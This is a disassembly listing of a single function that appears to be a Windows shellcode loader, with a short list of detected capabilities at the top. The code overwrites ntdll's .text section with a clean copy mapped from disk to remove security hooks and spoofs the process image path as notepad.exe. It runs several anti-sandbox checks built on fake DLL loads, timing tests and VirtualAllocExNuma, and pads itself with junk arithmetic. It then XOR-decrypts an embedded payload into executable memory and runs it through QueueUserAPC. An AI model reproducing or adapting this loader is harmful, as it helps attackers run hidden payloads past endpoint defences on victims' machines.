Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x818
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x780], xmm6
mov dword [rbp + 0x7c0], ecx
mov qword [rbp + 0x7c8], rdx
call fcn.1400029c0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x774], 0xffffffff
add dword [rbp + 0x774], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x122
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c00
movq rax, xmm0
mov qword [rbp + 0x6e8], rax
cmp dword [rbp + 0x774], 0xec
jle 0x14000153e
cmp qword [rbp + 0x778], 0
je 0x140001cf8
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x540]
mov rax, qword [rbp + 0x6f0]
mov r10, qword [rbp + 0x778]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x770], 0
jmp 0x140001616
call sub.msvcrt.dll_rand
imul eax, eax, 0x262
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c00
movq rax, xmm0
mov qword [rbp + 0x678], rax
add dword [rbp + 0x770], 1
cmp dword [rbp + 0x770], 0x1c7
jle 0x1400015d5
mov rax, qword [rbp + 0x540]
mov qword [rbp + 0x6e0], rax
mov ecx, 0x14ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov ecx, 0x14ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0x14ac
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov dword [rbp + 0x76c], 0
jmp 0x140001770
mov dword [rbp + 0x768], 0
jmp 0x14000175c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x76c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x6d8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x768]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x76c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x6d0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x768]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x1a
jle 0x140001681
add dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x30
jle 0x140001672
mov dword [rbp + 0x76c], 0
jmp 0x14000186b
mov dword [rbp + 0x768], 0
jmp 0x140001857
mov eax, dword [rbp + 0x76c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6d8]
add rdx, rax
mov eax, dword [rbp + 0x768]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x76c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6d0]
add rdx, rax
mov eax, dword [rbp + 0x768]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x76c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x6c8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x768]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x1a
jle 0x14000179b
add dword [rbp + 0x76c], 1
cmp dword [rbp + 0x76c], 0x30
jle 0x14000178c
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x764], 0xffffffff
mov ecx, 0x1258
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b0], rax
add dword [rbp + 0x764], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
movsd xmm1, qword [0x1400065f0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x764]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6b0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x764], 0x249
jle 0x140001940
mov rax, qword [rbp + 0x6b8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6e0]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rdx
mov qword [rbp + 0x698], rax
mov ecx, 0x1788
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x760], 0
jmp 0x140001aa4
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
movsd xmm1, qword [0x1400065e8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x2f0
jle 0x140001a66
mov dword [rbp + 0x760], 0
jmp 0x140001b41
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x760]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x690]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003bd0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x760], 1
cmp dword [rbp + 0x760], 0x2f0
jle 0x140001abf
mov word [rbp + 0x75e], 0
jmp 0x140001ce0
mov rax, qword [rbp + 0x698]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x698]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x75e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ccf
mov dword [rbp + 0x508], 0
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x508]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov qword [rbp + 0x750], 0
mov dword [rbp + 0x684], 0x36d
mov dword [rbp + 0x758], 1
jmp 0x140001c7c
mov eax, dword [rbp + 0x758]
cdqe
add qword [rbp + 0x750], rax
add dword [rbp + 0x758], 1
mov eax, dword [rbp + 0x758]
cmp eax, dword [rbp + 0x684]
jle 0x140001c66
mov edx, dword [rbp + 0x508]
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x688]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x508]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x75e]
add eax, 1
mov word [rbp + 0x75e], ax
mov rax, qword [rbp + 0x698]
movzx eax, word [rax + 6]
cmp word [rbp + 0x75e], ax
jb 0x140001b5f
mov dword [rbp + 0x50c], 0
mov dword [rbp + 0x748], 1
jmp 0x140001dbe
mov dword [rbp + 0x74c], 0
mov eax, dword [rbp + 0x748]
mov dword [rbp + 0x744], eax
jmp 0x140001d94
mov edx, dword [rbp + 0x744]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x564], edx
mov eax, dword [rbp + 0x564]
imul eax, eax
imul eax, dword [rbp + 0x564]
add dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x744]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x744], eax
cmp dword [rbp + 0x744], 0
jne 0x140001d29
mov eax, dword [rbp + 0x74c]
cmp eax, dword [rbp + 0x748]
jne 0x140001db7
mov eax, dword [rbp + 0x748]
mov dword [rbp + 0x568], eax
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x25c
jle 0x140001d11
mov rax, qword [rbp + 0x700]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x510]
lea rax, [rbp + 0x50c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x518]
add rax, 0x3c
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x668]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x660], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x658]
mov r9d, 0x3000
mov r8d, 0x30e
mov edx, 0
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x1400028f4
lea rax, str.wjcmlnpipeotjca.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x650], rax
cmp qword [rbp + 0x650], 0
jne 0x1400028f4
mov qword [rbp + 0x738], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x648], rax
cmp qword [rbp + 0x648], 0
je 0x140001f96
mov rax, qword [rbp + 0x648]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x640]
mov r9d, 0x3000
mov r8d, 0x2a5
mov edx, 0
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x1400028f4
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x1400028f4
mov rax, qword [rbp + 0x638]
mov edx, 0x4c2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x634], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x624], eax
mov ecx, 0x383
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x628]
call rax
mov dword [rbp + 0x620], eax
mov eax, dword [rbp + 0x620]
sub eax, dword [rbp + 0x624]
cmp eax, 0x351
jbe 0x1400028f4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x610], rax
cmp qword [rbp + 0x610], 0
jne 0x1400028f4
mov qword [rbp + 0x730], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
je 0x140002154
mov rax, qword [rbp + 0x608]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x600]
mov r9d, 0x3000
mov r8d, 0x461
mov edx, 0
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x1400028f4
lea rax, str.elcopputkrmgn.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5f8], rax
cmp qword [rbp + 0x5f8], 0
jne 0x1400028f4
lea rax, str.dkncsuricbkvbbpb.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5f0], rax
cmp qword [rbp + 0x5f0], 0
jne 0x1400028f4
mov dword [rbp + 0x5ec], 0x242
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
call rax
mov dword [rbp + 0x5d4], eax
mov eax, dword [rbp + 0x5ec]
mov r8, qword [rbp + 0x5e0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x5d8]
call rax
mov dword [rbp + 0x5d0], eax
mov eax, dword [rbp + 0x5d0]
sub eax, dword [rbp + 0x5d4]
cmp eax, 0x210
jbe 0x1400028f4
mov dword [rbp + 0x72c], 0x10e
mov dword [rbp + 0x728], 0x2d0
jmp 0x14000229c
mov eax, dword [rbp + 0x72c]
cmp eax, dword [rbp + 0x728]
jle 0x140002295
sub dword [rbp + 0x72c], 1
jmp 0x14000229c
sub dword [rbp + 0x728], 1
cmp dword [rbp + 0x72c], 0
jg 0x14000227e
lea rax, [rbp + 0x70]
lea rdx, [0x140006158]
mov ecx, 0x91
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov ecx, 0x3b4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c8], rax
mov dword [rbp + 0x720], 0
mov dword [rbp + 0x71c], 0
mov dword [rbp + 0x724], 0
jmp 0x140002345
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x724]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0xec
jle 0x1400022f9
mov dword [rbp + 0x724], 0
jmp 0x140002386
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x720], eax
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0xec
jle 0x14000235d
mov dword [rbp + 0x724], 0
jmp 0x14000240e
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x71c]
mov eax, dword [rbp + 0x724]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c8]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x56c]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400065f8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003dd0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x71c], eax
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0xec
jle 0x14000239e
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x71c]
movss xmm1, dword [0x140006600]
divss xmm0, xmm1
movss dword [rbp + 0x5c4], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x5c4]
movq rax, xmm3
movq xmm0, rax
call fcn.1400039b0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x5c0], xmm0
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b8], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x5b8]
mov r8d, 0
mov edx, 0x48b
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x5a8]
mov r9, qword [rbp + 0x5b0]
mov r8d, 0x48b
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x700]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x598], rax
lea rdx, [rbp + 0x70]
mov rax, qword [rbp + 0x5a0]
mov r9, qword [rbp + 0x598]
mov r8d, 0x48b
mov rcx, rax
call r9
mov dword [rbp + 0x718], 0
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x710], 0
movabs rax, 0xfbd289ba52411aae
movabs rdx, 0xc05db7d2fc10858
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x8047cda6370467c2
movabs rdx, 0xdd32c2d68c88567c
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x11fb76dd752dfa
mov qword [rbp + 0x10], rax
movabs rax, 0x8990c36443026b77
movabs rdx, 0x236ac36818deca6f
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xc4453c7e34c65fca
movabs rdx, 0x9c36abaf928d32fb
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x213721e2ac3fd192
movabs rdx, 0x2a280a20368f036e
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xe6a890d0caa117a9
movabs rdx, 0x842562525a34c0b1
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
mov word [rbp + 0x60], 0xb8
jmp 0x14000279e
cmp dword [rbp + 0x714], 0x40
jne 0x140002768
mov dword [rbp + 0x70c], 0xffffffff
mov ecx, 0x1ab8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x578], rax
mov ecx, 0x1ab8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x570], rax
add dword [rbp + 0x70c], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x578]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x578]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x70c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x570]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003af0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x70c], 0x355
jle 0x14000264f
mov eax, dword [rbp + 0x718]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x714]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x718]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x714], 0
jmp 0x140002797
mov eax, dword [rbp + 0x718]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x714]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x718]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x714], 1
add dword [rbp + 0x718], 1
mov eax, dword [rbp + 0x718]
cmp eax, 0x26
jbe 0x140002616
mov dword [rbp + 0x718], 0
jmp 0x14000285b
cmp dword [rbp + 0x710], 0x26
jne 0x14000280f
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x710]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x710], 0
jmp 0x140002854
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x710]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x718]
movsxd rdx, eax
mov rax, qword [rbp + 0x5a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x710], 1
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x48a
jle 0x1400027bc
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x580], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x590]
mov r9, qword [rbp + 0x588]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x580]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x780]
add rsp, 0x818
pop rbx
pop rsi
pop rdi
pop rbp
ret